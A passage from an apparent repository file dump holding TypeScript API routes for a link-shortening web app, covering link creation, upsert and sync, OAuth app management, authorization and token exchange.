object[\"twitter:image\"] ||\n    object[\"image_src\"] ||\n    object[\"icon\"] ||\n    object[\"shortcut icon\"];\n\n  waitUntil(recordMetatags(url, title && description && image ? false : true));\n\n  return {\n    title: title || url,\n    description: description || \"No description\",\n    image: getRelativeUrl(url, image),\n  };\n};\n"
  },
  {
    "path": "apps/web/app/api/links/random/route.ts",
    "content": "import { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { ratelimitOrThrow } from \"@/lib/api/utils\";\nimport { getRandomKey } from \"@/lib/planetscale\";\nimport { domainKeySchema } from \"@/lib/zod/schemas/links\";\nimport { getSearchParams } from \"@dub/utils\";\nimport { NextRequest, NextResponse } from \"next/server\";\n\nexport const runtime = \"edge\";\n\n// GET /api/links/random – get a random available link key for a given domain\nexport const GET = async (req: NextRequest) => {\n  try {\n    const searchParams = getSearchParams(req.url);\n    const { domain } = domainKeySchema\n      .pick({ domain: true })\n      .parse(searchParams);\n\n    await ratelimitOrThrow(req, \"links-random\");\n\n    const response = await getRandomKey({ domain });\n    return NextResponse.json(response);\n  } catch (error) {\n    return handleAndReturnErrorResponse(error);\n  }\n};\n"
  },
  {
    "path": "apps/web/app/api/links/route.ts",
    "content": "import { DubApiError, ErrorCodes } from \"@/lib/api/errors\";\nimport { createLink, getLinksForWorkspace, processLink } from \"@/lib/api/links\";\nimport { throwIfLinksUsageExceeded } from \"@/lib/api/links/usage-checks\";\nimport { validateLinksQueryFilters } from \"@/lib/api/links/validate-links-query-filters\";\nimport { parseRequestBody } from \"@/lib/api/utils\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { MEGA_WORKSPACE_LINKS_LIMIT } from \"@/lib/constants/misc\";\nimport { ratelimit } from \"@/lib/upstash\";\nimport { sendWorkspaceWebhook } from \"@/lib/webhook/publish\";\nimport {\n  createLinkBodySchemaAsync,\n  getLinksQuerySchemaExtended,\n  linkEventSchema,\n} from \"@/lib/zod/schemas/links\";\nimport { LOCALHOST_IP } from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/links – get all links for a workspace\nexport const GET = withWorkspace(\n  async ({ headers, searchParams, workspace, session }) => {\n    const filters = getLinksQuerySchemaExtended.parse(searchParams);\n\n    const { folderIds } = await validateLinksQueryFilters({\n      ...filters,\n      workspace,\n      userId: session.user.id,\n    });\n\n    const response = await getLinksForWorkspace({\n      ...filters,\n      workspaceId: workspace.id,\n      folderIds,\n      searchMode:\n        workspace.totalLinks > MEGA_WORKSPACE_LINKS_LIMIT ? \"exact\" : \"fuzzy\",\n    });\n\n    return NextResponse.json(response, {\n      headers,\n    });\n  },\n  {\n    requiredPermissions: [\"links.read\"],\n  },\n);\n\n// POST /api/links – create a new link\nexport const POST = withWorkspace(\n  async ({ req, headers, session, workspace }) => {\n    if (workspace) {\n      throwIfLinksUsageExceeded(workspace);\n    }\n\n    const body = await createLinkBodySchemaAsync.parseAsync(\n      await parseRequestBody(req),\n    );\n\n    if (!session) {\n      const ip = req.headers.get(\"x-forwarded-for\") || LOCALHOST_IP;\n      const { success } = await ratelimit(10, \"1 d\").limit(ip);\n\n      if (!success) {\n        throw new DubApiError({\n          code: \"rate_limit_exceeded\",\n          message:\n            \"Rate limited – you can only create up to 10 links per day without an account.\",\n        });\n      }\n    }\n\n    const { link, error, code } = await processLink({\n      payload: body,\n      workspace,\n      ...(session && { userId: session.user.id }),\n    });\n\n    if (error != null) {\n      throw new DubApiError({\n        code: code as ErrorCodes,\n        message: error,\n      });\n    }\n\n    try {\n      const response = await createLink(link);\n\n      if (response.projectId && response.userId) {\n        waitUntil(\n          sendWorkspaceWebhook({\n            trigger: \"link.created\",\n            workspace,\n            data: linkEventSchema.parse(response),\n          }),\n        );\n      }\n\n      return NextResponse.json(response, {\n        headers,\n      });\n    } catch (error) {\n      throw new DubApiError({\n        code: \"unprocessable_entity\",\n        message: error.message,\n      });\n    }\n  },\n  {\n    requiredPermissions: [\"links.write\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/api/links/sync/route.ts",
    "content": "import { propagateBulkLinkChanges } from \"@/lib/api/links/propagate-bulk-link-changes\";\nimport { updateLinksUsage } from \"@/lib/api/links/update-links-usage\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { exceededLimitError } from \"@/lib/exceeded-limit-error\";\nimport { SimpleLinkProps } from \"@/lib/types\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextResponse } from \"next/server\";\n\n// POST /api/links/sync – sync user's publicly created links to their accounts\nexport const POST = withWorkspace(\n  async ({ req, session, workspace }) => {\n    let links: SimpleLinkProps[] = [];\n    try {\n      links = await req.json();\n      if (!Array.isArray(links)) {\n        throw new Error(\"Invalid request body.\");\n      }\n    } catch (e) {\n      return new Response(\"Invalid request body.\", { status: 400 });\n    }\n\n    const unclaimedLinks = await Promise.all(\n      links.map(async (link) => {\n        return await prisma.link.findUnique({\n          where: {\n            domain_key: {\n              domain: link.domain,\n              key: link.key,\n            },\n            userId: null,\n          },\n        });\n      }),\n    ).then((links) => links.filter((link) => link !== null));\n\n    if (unclaimedLinks.length === 0) {\n      return new Response(\"No links created.\", { status: 200 });\n    }\n\n    if (workspace.linksUsage + unclaimedLinks.length > workspace.linksLimit) {\n      return new Response(\n        exceededLimitError({\n          plan: workspace.plan,\n          limit: workspace.linksLimit,\n          type: \"links\",\n        }),\n        { status: 403 },\n      );\n    }\n\n    const response = await Promise.allSettled([\n      prisma.link.updateMany({\n        where: {\n          id: {\n            in: unclaimedLinks.map((link) => link!.id),\n          },\n        },\n        data: {\n          userId: session.user.id,\n          projectId: workspace.id,\n          publicStats: false,\n        },\n      }),\n      // remove shared dashboards\n      prisma.dashboard.deleteMany({\n        where: {\n          linkId: { in: unclaimedLinks.map((link) => link!.id) },\n        },\n      }),\n      propagateBulkLinkChanges({\n        links: unclaimedLinks.map((link) => ({\n          ...link!,\n          userId: session.user.id,\n          projectId: workspace.id,\n          publicStats: false,\n          tags: [],\n        })),\n      }),\n      updateLinksUsage({\n        workspaceId: workspace.id,\n        increment: unclaimedLinks.length,\n      }),\n    ]);\n\n    return NextResponse.json(response);\n  },\n  {\n    requiredPermissions: [\"links.write\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/api/links/upsert/route.ts",
    "content": "import { DubApiError, ErrorCodes } from \"@/lib/api/errors\";\nimport {\n  createLink,\n  processLink,\n  transformLink,\n  updateLink,\n} from \"@/lib/api/links\";\nimport { parseRequestBody } from \"@/lib/api/utils\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { verifyFolderAccess } from \"@/lib/folder/permissions\";\nimport { NewLinkProps } from \"@/lib/types\";\nimport { sendWorkspaceWebhook } from \"@/lib/webhook/publish\";\nimport {\n  createLinkBodySchemaAsync,\n  linkEventSchema,\n} from \"@/lib/zod/schemas/links\";\nimport { prisma } from \"@dub/prisma\";\nimport { deepEqual } from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { NextResponse } from \"next/server\";\n\n// PUT /api/links/upsert – update or create a link\nexport const PUT = withWorkspace(\n  async ({ req, headers, workspace, session }) => {\n    const bodyRaw = await parseRequestBody(req);\n    const body = await createLinkBodySchemaAsync.parseAsync(bodyRaw);\n\n    const link = await prisma.link.findFirst({\n      where: {\n        projectId: workspace.id,\n        url: body.url,\n      },\n    });\n\n    if (link) {\n      await Promise.all([\n        ...(link.folderId\n          ? [\n              verifyFolderAccess({\n                workspace,\n                userId: session.user.id,\n                folderId: link.folderId,\n                requiredPermission: \"folders.links.write\",\n              }),\n            ]\n          : []),\n\n        ...(body.folderId\n          ? [\n              verifyFolderAccess({\n                workspace,\n                userId: session.user.id,\n                folderId: body.folderId,\n                requiredPermission: \"folders.links.write\",\n              }),\n            ]\n          : []),\n      ]);\n\n      // proceed with /api/links/[linkId] PATCH logic\n      const updatedLink = {\n        ...link,\n        expiresAt:\n          link.expiresAt instanceof Date\n            ? link.expiresAt.toISOString()\n            : link.expiresAt,\n        geo: link.geo as NewLinkProps[\"geo\"],\n        testVariants: link.testVariants as NewLinkProps[\"testVariants\"],\n        testCompletedAt:\n          link.testCompletedAt instanceof Date\n            ? link.testCompletedAt.toISOString()\n            : link.testCompletedAt,\n        testStartedAt:\n          link.testStartedAt instanceof Date\n            ? link.testStartedAt.toISOString()\n            : link.testStartedAt,\n        ...body,\n      };\n\n      // if link and updatedLink are identical, return the link\n      if (deepEqual(link, updatedLink)) {\n        const tags = await prisma.tag.findMany({\n          where: {\n            links: {\n              some: {\n                linkId: link.id,\n              },\n            },\n          },\n          select: {\n            id: true,\n            name: true,\n            color: true,\n          },\n        });\n\n        const response = transformLink({\n          ...link,\n          tags: tags.map((tag) => ({\n            tag,\n          })),\n        });\n\n        return NextResponse.json(response, {\n          headers,\n        });\n      }\n\n      if (updatedLink.projectId !== link?.projectId) {\n        throw new DubApiError({\n          code: \"forbidden\",\n          message:\n            \"Transferring links to another workspace is only allowed via the /links/[linkId]/transfer endpoint.\",\n        });\n      }\n\n      // if domain and key are the same, we don't need to check if the key exists\n      const skipKeyChecks =\n        link.domain === updatedLink.domain &&\n        link.key.toLowerCase() === updatedLink.key?.toLowerCase();\n\n      // if externalId is the same, we don't need to check if it exists\n      const skipExternalIdChecks =\n        link.externalId?.toLowerCase() ===\n        updatedLink.externalId?.toLowerCase();\n\n      const {\n        link: processedLink,\n        error,\n        code,\n      } = await processLink({\n        payload: updatedLink,\n        workspace,\n        skipKeyChecks,\n        skipExternalIdChecks,\n        skipFolderChecks: true,\n      });\n\n      if (error) {\n        throw new DubApiError({\n          code: code as ErrorCodes,\n          message: error,\n        });\n      }\n\n      try {\n        const response = await updateLink({\n          oldLink: {\n            domain: link.domain,\n            key: link.key,\n            image: link.image,\n          },\n          updatedLink: processedLink,\n        });\n\n        waitUntil(\n          sendWorkspaceWebhook({\n            trigger: \"link.updated\",\n            workspace,\n            data: linkEventSchema.parse(response),\n          }),\n        );\n\n        return NextResponse.json(response, {\n          headers,\n        });\n      } catch (error) {\n        throw new DubApiError({\n          code: \"unprocessable_entity\",\n          message: error.message,\n        });\n      }\n    } else {\n      // proceed with /api/links POST logic\n      const { link, error, code } = await processLink({\n        payload: body,\n        workspace,\n        userId: session.user.id,\n      });\n\n      if (error != null) {\n        throw new DubApiError({\n          code: code as ErrorCodes,\n          message: error,\n        });\n      }\n\n      try {\n        const response = await createLink(link);\n        return NextResponse.json(response, { headers });\n      } catch (error) {\n        throw new DubApiError({\n          code: \"unprocessable_entity\",\n          message: error.message,\n        });\n      }\n    }\n  },\n  {\n    requiredPermissions: [\"links.write\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/api/me/route.ts",
    "content": "import { withSession } from \"@/lib/auth\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/me - get the current user\nexport const GET = withSession(async ({ session }) => {\n  const user = await prisma.user.findUnique({\n    where: {\n      id: session.user.id,\n    },\n  });\n  return NextResponse.json(user);\n});\n"
  },
  {
    "path": "apps/web/app/api/misc/check-favicon/route.ts",
    "content": "import { withSession } from \"@/lib/auth\";\nimport { GOOGLE_FAVICON_URL } from \"@dub/utils\";\nimport { NextResponse } from \"next/server\";\n\nexport const GET = withSession(async ({ searchParams }) => {\n  const { domain } = searchParams;\n\n  if (!domain) {\n    return NextResponse.json(\n      { error: \"Domain parameter is required\" },\n      { status: 400 },\n    );\n  }\n\n  try {\n    const faviconUrl = `${GOOGLE_FAVICON_URL}${domain}`;\n\n    const response = await fetch(faviconUrl, {\n      method: \"HEAD\",\n      headers: {\n        \"User-Agent\": \"Mozilla/5.0 (compatible; Dub/1.0)\",\n      },\n    });\n\n    return NextResponse.json({\n      exists: response.ok,\n      status: response.status,\n      url: faviconUrl,\n    });\n  } catch (error) {\n    console.error(\"Error checking favicon:\", error);\n    return NextResponse.json(\n      {\n        exists: false,\n        error: \"Failed to check favicon\",\n      },\n      { status: 500 },\n    );\n  }\n});\n"
  },
  {
    "path": "apps/web/app/api/misc/check-workspace-slug/route.ts",
    "content": "import { withSession } from \"@/lib/auth\";\nimport { prisma } from \"@dub/prisma\";\nimport { DEFAULT_REDIRECTS, RESERVED_SLUGS } from \"@dub/utils\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/misc/check-workspace-slug – check if a workspace slug is available\nexport const GET = withSession(async ({ searchParams }) => {\n  const { slug } = searchParams;\n\n  if (!slug) {\n    return NextResponse.json(\n      { error: \"Slug parameter is required\" },\n      { status: 400 },\n    );\n  }\n\n  if (RESERVED_SLUGS.includes(slug) || DEFAULT_REDIRECTS[slug]) {\n    return NextResponse.json(1);\n  }\n  const project = await prisma.project.findUnique({\n    where: {\n      slug,\n    },\n    select: {\n      slug: true,\n    },\n  });\n  if (project) {\n    return NextResponse.json(1);\n  } else {\n    return NextResponse.json(0);\n  }\n});\n"
  },
  {
    "path": "apps/web/app/api/oauth/apps/[appId]/route.ts",
    "content": "import { DubApiError } from \"@/lib/api/errors\";\nimport { parseRequestBody } from \"@/lib/api/utils\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { deleteScreenshots } from \"@/lib/integrations/utils\";\nimport { storage } from \"@/lib/storage\";\nimport { oAuthAppSchema, updateOAuthAppSchema } from \"@/lib/zod/schemas/oauth\";\nimport { prisma } from \"@dub/prisma\";\nimport { nanoid, R2_URL } from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/oauth/apps/[appId] – get an OAuth app created by the workspace\nexport const GET = withWorkspace(\n  async ({ params, workspace }) => {\n    const oAuthApp = await prisma.oAuthApp.findFirst({\n      where: {\n        integration: {\n          id: params.appId,\n          projectId: workspace.id,\n        },\n      },\n      select: {\n        clientId: true,\n        partialClientSecret: true,\n        redirectUris: true,\n        pkce: true,\n        integration: true,\n      },\n    });\n\n    if (!oAuthApp) {\n      throw new DubApiError({\n        code: \"not_found\",\n        message: `OAuth app with id ${params.appId} not found.`,\n      });\n    }\n\n    const { integration, ...app } = oAuthApp;\n\n    return NextResponse.json(\n      oAuthAppSchema.parse({\n        ...app,\n        ...integration,\n      }),\n    );\n  },\n  {\n    requiredPermissions: [\"oauth_apps.read\"],\n  },\n);\n\n// PATCH /api/oauth/apps/[appId] – update an OAuth app\nexport const PATCH = withWorkspace(\n  async ({ req, params, workspace }) => {\n    const {\n      name,\n      slug,\n      developer,\n      website,\n      installUrl,\n      description,\n      readme,\n      redirectUris,\n      logo,\n      pkce,\n      screenshots,\n    } = await updateOAuthAppSchema.parseAsync(await parseRequestBody(req));\n\n    try {\n      const integration = await prisma.integration.findUniqueOrThrow({\n        where: {\n          id: params.appId,\n          projectId: workspace.id,\n        },\n        select: {\n          logo: true,\n          screenshots: true,\n        },\n      });\n\n      let logoUrl: string | undefined;\n      const logoUpdated = logo && integration.logo !== logo;\n\n      // Logo has been changed\n      if (logoUpdated) {\n        const result = await storage.upload({\n          key: `integrations/${params.appId}_${nanoid(7)}`,\n          body: logo,\n        });\n\n        logoUrl = result.url;\n      }\n\n      const updatedRecord = await prisma.integration.update({\n        where: {\n          id: params.appId,\n          projectId: workspace.id,\n        },\n        data: {\n          name,\n          slug,\n          developer,\n          website,\n          installUrl,\n          description,\n          readme,\n          screenshots,\n          ...(logoUrl && { logo: logoUrl }),\n          oAuthApp: {\n            update: {\n              redirectUris,\n              pkce,\n            },\n          },\n        },\n        include: {\n          oAuthApp: true,\n        },\n      });\n\n      waitUntil(\n        (async () => {\n          if (\n            logoUpdated &&\n            integration.logo &&\n            integration.logo.startsWith(\n              `${R2_URL}/integrations/${params.appId}`,\n            )\n          ) {\n            await storage.delete({\n              key: integration.logo.replace(`${R2_URL}/`, \"\"),\n            });\n          }\n\n          // Remove old screenshots\n          const oldScreenshots = integration.screenshots\n            ? (integration.screenshots as string[])\n            : [];\n\n          const removedScreenshots = oldScreenshots?.filter(\n            (s) => !screenshots?.includes(s),\n          );\n\n          await deleteScreenshots(removedScreenshots);\n        })(),\n      );\n\n      const { oAuthApp, ...updatedIntegration } = updatedRecord;\n\n      return NextResponse.json(\n        oAuthAppSchema.parse({ ...oAuthApp, ...updatedIntegration }),\n      );\n    } catch (error) {\n      if (error.code === \"P2002\") {\n        throw new DubApiError({\n          code: \"conflict\",\n          message: `The slug \"${slug}\" is already in use.`,\n        });\n      } else {\n        throw new DubApiError({\n          code: \"internal_server_error\",\n          message: error.message,\n        });\n      }\n    }\n  },\n  {\n    requiredPermissions: [\"oauth_apps.write\"],\n  },\n);\n\n// DELETE /api/oauth/apps/[appId] - delete an OAuth app\nexport const DELETE = withWorkspace(\n  async ({ params, workspace }) => {\n    const integration = await prisma.integration.findFirst({\n      where: {\n        id: params.appId,\n        projectId: workspace.id,\n      },\n    });\n\n    if (!integration) {\n      throw new DubApiError({\n        code: \"not_found\",\n        message: `OAuth app with id ${params.appId} not found.`,\n      });\n    }\n\n    await prisma.integration.delete({\n      where: {\n        id: params.appId,\n      },\n    });\n\n    waitUntil(\n      (async () => {\n        if (\n          integration.logo &&\n          integration.logo.startsWith(`${R2_URL}/integrations`)\n        ) {\n          await storage.delete({\n            key: integration.logo.replace(`${R2_URL}/`, \"\"),\n          });\n        }\n\n        await deleteScreenshots(integration.screenshots);\n      })(),\n    );\n\n    return NextResponse.json({ id: params.appId });\n  },\n  {\n    requiredPermissions: [\"oauth_apps.write\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/api/oauth/apps/route.ts",
    "content": "import { createId } from \"@/lib/api/create-id\";\nimport { DubApiError } from \"@/lib/api/errors\";\nimport { OAUTH_CONFIG } from \"@/lib/api/oauth/constants\";\nimport { createToken } from \"@/lib/api/oauth/utils\";\nimport { parseRequestBody } from \"@/lib/api/utils\";\nimport { hashToken, withWorkspace } from \"@/lib/auth\";\nimport { storage } from \"@/lib/storage\";\nimport { createOAuthAppSchema, oAuthAppSchema } from \"@/lib/zod/schemas/oauth\";\nimport { prisma } from \"@dub/prisma\";\nimport { nanoid } from \"@dub/utils\";\nimport { NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\n\n// GET /api/oauth/apps - get all OAuth apps created by a workspace\nexport const GET = withWorkspace(\n  async ({ workspace }) => {\n    const oAuthApp = await prisma.oAuthApp.findMany({\n      where: {\n        integration: {\n          projectId: workspace.id,\n        },\n      },\n      select: {\n        clientId: true,\n        partialClientSecret: true,\n        redirectUris: true,\n        pkce: true,\n        integration: true,\n      },\n    });\n\n    const oAuthApps = oAuthApp.map(({ integration, ...oAuthApp }) => ({\n      ...oAuthApp,\n      ...integration,\n    }));\n\n    return NextResponse.json(z.array(oAuthAppSchema).parse(oAuthApps));\n  },\n  {\n    requiredPermissions: [\"oauth_apps.read\"],\n  },\n);\n\n// POST /api/oauth/apps - create a new OAuth app\nexport const POST = withWorkspace(\n  async ({ req, workspace, session }) => {\n    const {\n      name,\n      slug,\n      developer,\n      website,\n      installUrl,\n      description,\n      readme,\n      redirectUris,\n      logo,\n      pkce,\n      screenshots,\n    } = await createOAuthAppSchema.parseAsync(await parseRequestBody(req));\n\n    const integration = await prisma.integration.findUnique({\n      where: {\n        slug,\n      },\n    });\n\n    if (integration) {\n      throw new DubApiError({\n        code: \"conflict\",\n        message: `The slug \"${slug}\" is already in use.`,\n      });\n    }\n\n    const clientId = createToken({\n      length: OAUTH_CONFIG.CLIENT_ID_LENGTH,\n      prefix: OAUTH_CONFIG.CLIENT_ID_PREFIX,\n    });\n\n    const clientSecret = !pkce\n      ? createToken({\n          length: OAUTH_CONFIG.CLIENT_SECRET_LENGTH,\n          prefix: OAUTH_CONFIG.CLIENT_SECRET_PREFIX,\n        })\n      : undefined;\n\n    try {\n      const { oAuthApp, ...integration } = await prisma.integration.create({\n        data: {\n          id: createId({ prefix: \"int_\" }),\n          projectId: workspace.id,\n          userId: session.user.id,\n          name,\n          slug,\n          developer,\n          website,\n          installUrl,\n          description,\n          readme,\n          screenshots,\n          oAuthApp: {\n            create: {\n              id: createId({ prefix: \"app_\" }),\n              clientId,\n              hashedClientSecret: clientSecret\n                ? await hashToken(clientSecret)\n                : \"\",\n              partialClientSecret: clientSecret\n                ? `dub_app_secret_****${clientSecret.slice(-8)}`\n                : \"\",\n              redirectUris,\n              pkce,\n            },\n          },\n        },\n        include: {\n          oAuthApp: true,\n        },\n      });\n\n      if (logo) {\n        const { url } = await storage.upload({\n          key: `integrations/${integration.id}_${nanoid(7)}`,\n          body: logo,\n        });\n\n        await prisma.integration.update({\n          where: {\n            id: integration.id,\n          },\n          data: {\n            logo: url,\n          },\n        });\n      }\n\n      return NextResponse.json(\n        {\n          ...oAuthAppSchema.parse({ ...oAuthApp, ...integration }),\n          ...(clientSecret && { clientSecret }),\n        },\n        { status: 201 },\n      );\n    } catch (error) {\n      if (error.code === \"P2002\") {\n        throw new DubApiError({\n          code: \"conflict\",\n          message: `The slug \"${slug}\" is already in use.`,\n        });\n      } else {\n        throw new DubApiError({\n          code: \"internal_server_error\",\n          message: error.message,\n        });\n      }\n    }\n  },\n  {\n    requiredPermissions: [\"oauth_apps.write\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/api/oauth/authorize/route.ts",
    "content": "import { DubApiError } from \"@/lib/api/errors\";\nimport { OAUTH_CONFIG } from \"@/lib/api/oauth/constants\";\nimport { createToken } from \"@/lib/api/oauth/utils\";\nimport { consolidateScopes, getScopesForRole } from \"@/lib/api/tokens/scopes\";\nimport { parseRequestBody } from \"@/lib/api/utils\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { authorizeRequestSchema } from \"@/lib/zod/schemas/oauth\";\nimport { prisma } from \"@dub/prisma\";\nimport { SHOPIFY_INTEGRATION_ID, STRIPE_INTEGRATION_ID } from \"@dub/utils\";\nimport { NextResponse } from \"next/server\";\n\n// POST /api/oauth/authorize - approve OAuth authorization request\nexport const POST = withWorkspace(async ({ session, req, workspace }) => {\n  const {\n    state,\n    scope,\n    client_id: clientId,\n    redirect_uri: redirectUri,\n    code_challenge: codeChallenge,\n    code_challenge_method: codeChallengeMethod,\n  } = authorizeRequestSchema.parse(await parseRequestBody(req));\n\n  // Check if the user has the required scopes for the workspace selected\n  const userRole = workspace.users[0].role;\n  const scopesForRole = getScopesForRole(userRole);\n  const scopesMissing = consolidateScopes(scope).filter(\n    (scope) => !scopesForRole.includes(scope) && scope !== \"user.read\",\n  );\n\n  if (scopesMissing.length > 0) {\n    throw new DubApiError({\n      code: \"bad_request\",\n      message: \"You don't have the permission to install this integration.\",\n    });\n  }\n\n  const app = await prisma.oAuthApp.findUniqueOrThrow({\n    where: {\n      clientId,\n    },\n    select: {\n      redirectUris: true,\n      pkce: true,\n      integrationId: true,\n    },\n  });\n\n  if (\n    [STRIPE_INTEGRATION_ID, SHOPIFY_INTEGRATION_ID].includes(\n      app.integrationId,\n    ) &&\n    (workspace.plan === \"free\" || workspace.plan === \"pro\")\n  ) {\n    throw new DubApiError({\n      code: \"bad_request\",\n      message:\n        \"This integration is only available for workspaces with a Business plan or higher. Please upgrade your plan to continue.\",\n    });\n  }\n\n  const redirectUris = (app.redirectUris || []) as string[];\n\n  if (!redirectUris.includes(redirectUri)) {\n    throw new DubApiError({\n      code: \"bad_request\",\n      message: \"Invalid redirect_uri parameter for the application.\",\n    });\n  }\n\n  // If PKCE is required, ensure that the code_challenge and code_challenge_method are present\n  if (app.pkce && (!codeChallenge || !codeChallengeMethod)) {\n    throw new DubApiError({\n      code: \"bad_request\",\n      message: \"Missing code_challenge or code_challenge_method parameters.\",\n    });\n  }\n\n  const { code } = await prisma.oAuthCode.create({\n    data: {\n      clientId,\n      redirectUri,\n      projectId: workspace.id,\n      userId: session.user.id,\n      scopes: scope.join(\" \"),\n      code: createToken({ length: OAUTH_CONFIG.CODE_LENGTH }),\n      expiresAt: new Date(Date.now() + OAUTH_CONFIG.CODE_LIFETIME * 1000),\n      ...(app.pkce && { codeChallenge, codeChallengeMethod }),\n    },\n  });\n\n  // Generate the callback URL\n  const callbackUrl = new URL(redirectUri);\n\n  callbackUrl.searchParams.set(\"code\", code);\n\n  if (state) {\n    callbackUrl.searchParams.set(\"state\", state);\n  }\n\n  const response = {\n    callbackUrl: callbackUrl.toString(),\n  };\n\n  return NextResponse.json(response);\n});\n"
  },
  {
    "path": "apps/web/app/api/oauth/token/exchange-code-for-token.ts",
    "content": "import { DubApiError } from \"@/lib/api/errors\";\nimport { OAUTH_CONFIG } from \"@/lib/api/oauth/constants\";\nimport { createToken, generateCodeChallengeHash } from \"@/lib/api/oauth/utils\";\nimport { hashToken } from \"@/lib/auth\";\nimport { installIntegration } from \"@/lib/integrations/install\";\nimport { generateRandomName } from \"@/lib/names\";\nimport { authCodeExchangeSchema } from \"@/lib/zod/schemas/oauth\";\nimport { prisma } from \"@dub/prisma\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { NextRequest } from \"next/server\";\nimport * as z from \"zod/v4\";\n\n// Exchange authorization code with access token\nexport const exchangeAuthCodeForToken = async (\n  req: NextRequest,\n  params: z.infer<typeof authCodeExchangeSchema>,\n) => {\n  const {\n    code,\n    redirect_uri: redirectUri,\n    code_verifier: codeVerifier,\n  } = params;\n\n  let { client_id: clientId, client_secret: clientSecret } = params;\n\n  // If no client_id or client_secret is provided in the request body\n  // then it should be provided in the Authorization header as Basic Auth for non-PKCE\n  if (!clientId && !clientSecret) {\n    const authorizationHeader = req.headers.get(\"Authorization\") || \"\";\n    const [type, token] = authorizationHeader.split(\" \");\n\n    if (type === \"Basic\") {\n      const splits = Buffer.from(token, \"base64\").toString(\"utf-8\").split(\":\");\n\n      if (splits.length > 1) {\n        clientId = splits[0];\n        clientSecret = splits[1];\n      }\n    }\n  }\n\n  if (!clientId) {\n    throw new DubApiError({\n      code: \"unauthorized\",\n      message: \"Missing client_id\",\n    });\n  }\n\n  const [app, accessCode] = await Promise.all([\n    prisma.oAuthApp.findUnique({\n      where: {\n        clientId,\n      },\n      select: {\n        integrationId: true,\n        pkce: true,\n        hashedClientSecret: true,\n      },\n    }),\n    prisma.oAuthCode.findUnique({\n      where: {\n        code,\n      },\n      select: {\n        clientId: true,\n        userId: true,\n        projectId: true,\n        scopes: true,\n        redirectUri: true,\n        expiresAt: true,\n        codeChallenge: true,\n        codeChallengeMethod: true,\n      },\n    }),\n  ]);\n\n  if (!app || !app.integrationId) {\n    throw new DubApiError({\n      code: \"unauthorized\",\n      message: \"OAuth app not found for the provided client_id\",\n    });\n  }\n\n  // When PKCE is enabled, the code_verifier is required\n  if (app.pkce) {\n    if (!codeVerifier) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message: \"Missing code_verifier parameter\",\n      });\n    }\n  }\n\n  // When PKCE is not enabled, the client_secret is required\n  else if (!app.pkce) {\n    if (!clientSecret) {\n      throw new DubApiError({\n        code: \"unauthorized\",\n        message: \"Missing client_secret\",\n      });\n    }\n\n    if (app.hashedClientSecret !== (await hashToken(clientSecret))) {\n      throw new DubApiError({\n        code: \"unauthorized\",\n        message: \"Invalid client_secret\",\n      });\n    }\n  }\n\n  if (!accessCode || accessCode.clientId !== clientId) {\n    throw new DubApiError({\n      code: \"unauthorized\",\n      message: \"Invalid code\",\n    });\n  }\n\n  if (app.pkce) {\n    const codeChallenge =\n      accessCode.codeChallengeMethod === \"S256\"\n        ? await generateCodeChallengeHash(codeVerifier!)\n        : codeVerifier;\n\n    if (accessCode.codeChallenge != codeChallenge) {\n      throw new DubApiError({\n        code: \"unauthorized\",\n        message: \"invalid_grant\",\n      });\n    }\n  }\n\n  // If the code has expired, delete it and throw an error\n  if (accessCode.expiresAt < new Date()) {\n    await prisma.oAuthCode.delete({\n      where: {\n        code,\n      },\n    });\n\n    throw new DubApiError({\n      code: \"bad_request\",\n      message: \"Authorization code has expired\",\n    });\n  }\n\n  if (redirectUri !== accessCode.redirectUri) {\n    throw new DubApiError({\n      code: \"bad_request\",\n      message: \"redirect_uri does not match\",\n    });\n  }\n\n  const accessToken = createToken({\n    length: OAUTH_CONFIG.ACCESS_TOKEN_LENGTH,\n    prefix: OAUTH_CONFIG.ACCESS_TOKEN_PREFIX,\n  });\n\n  const refreshToken = createToken({\n    length: OAUTH_CONFIG.REFRESH_TOKEN_LENGTH,\n  });\n\n  const accessTokenExpires = new Date(\n    Date.now() + OAUTH_CONFIG.ACCESS_TOKEN_LIFETIME * 1000,\n  );\n\n  const { userId, projectId, scopes } = accessCode;\n\n  // Install the app\n  // We only support one token per client per user per workspace at a time\n  const installation = await installIntegration({\n    userId,\n    workspaceId: projectId,\n    integrationId: app.integrationId,\n  });\n\n  // Create the access token and refresh token\n  const restrictedToken = await prisma.restrictedToken.create({\n    data: {\n      name: generateRandomName(),\n      hashedKey: await hashToken(accessToken),\n      partialKey: `${accessToken.slice(0, 3)}...${accessToken.slice(-4)}`,\n      scopes,\n      expires: accessTokenExpires,\n      userId,\n      projectId,\n      installationId: installation.id,\n      refreshTokens: {\n        create: {\n          installationId: installation.id,\n          hashedRefreshToken: await hashToken(refreshToken),\n          expiresAt: new Date(\n            Date.now() + OAUTH_CONFIG.REFRESH_TOKEN_LIFETIME * 1000,\n          ),\n        },\n      },\n    },\n  });\n\n  waitUntil(\n    Promise.all([\n      // Delete the code after it's been used\n      prisma.oAuthCode.delete({\n        where: {\n          code,\n        },\n      }),\n\n      // Remove all existing tokens for this client\n      prisma.restrictedToken.deleteMany({\n        where: {\n          installationId: installation.id,\n          id: {\n            not: restrictedToken.id,\n          },\n        },\n      }),\n    ]),\n  );\n\n  // https://www.oauth.com/oauth2-servers/access-tokens/access-token-response/\n  return {\n    access_token: accessToken,\n    refresh_token: refreshToken,\n    token_type: \"Bearer\",\n    expires_in: 